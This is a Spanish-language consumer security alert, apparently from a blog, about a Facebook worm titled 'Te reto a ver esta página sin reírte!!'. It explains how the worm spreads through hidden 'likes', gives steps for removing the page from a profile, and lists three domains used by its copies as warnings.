El gusano, Te reto a ver esta página sin reírte!!, que denunciamos con anterioridad debe haber sido un éxito y, seguramente, le habrá dejado unos beneficios nada desdeñables a los promotores de este gusano que se aprovecha de la curiosidad e ingenuidad de muchos usuarios de las redes sociales como Facebook, ya que han vuelto a la carga y en esta ocasión han puesto en marcha varios dominios con la misma finalidad, o lo que es lo mismo, han sacado varios gusanos idénticos.

En la mayoría de los casos, se pincha en el enlace porque un "amigo" de Facebook, ha publicado un enlace en su muro. El problema es que en muchos casos, ni siquiera es consciente de que en su muro aparece el citado enlace. Para ver lo que hay publicado en el muro propio, habría que pinchar en la opción "Perfil" que aparece arriba a la derecha, junto al menú "Cuenta", o esperar que alguien lo comente para que aparezca en nuestro listado de últimas noticias.

Además, en este engaño, no nos damos cuenta de que hemos añadido una página a nuestra lista de "Gustos e Intereses", que permanecerá ahí indefinidamente si no nos percatamos del asunto, lo que hace que, si alguno de nuestros "amigos" de Facebook visita la página en cuestión, vea un indicativo diciendo que a nosotros también nos gusta la página, haciendo posible que, mientras exista un enlace, el gusano pueda reactivarse en cualquier momento.

Elimina la página de tu perfil de Facebook.
Si no has podido quitar aún la página de tu perfil de Facebook, inténtalo con estos enlaces (recuadros rojos). Si en los recuadros rojos aparecen algunos de tus amigos, entonces es que ellos también tienen el "Me gusta" correspondiente en su perfil, informales para evitar que se siga propagando.

Gusano 1: TE RETO A VER ESTA PAGINA PARA 5 SEGUNDOS SIN REÍRTE!!!!! (www.spanv3.info)



Gusano 2: TE RETO A VER ESTA PAGINA SIN REÍRTE!! (espectacular.info)




Gusano 3: TE RETO A VER ESTA PAGINA SIN REÍRTE!! (denocreer.info)




Previsiblemente aparezcan más copias del mismo malware, ya que conforme Facebook bloquea algunas, se crean nuevas.


Informa a tus amigos.
Informa a tus amigos con los enlaces de los recuadros azules, ten en cuenta que el gusano promueve un timo telefónico, como se indicó en el anterior artículo sobre "Te reto a ver esta página sin reírte!!".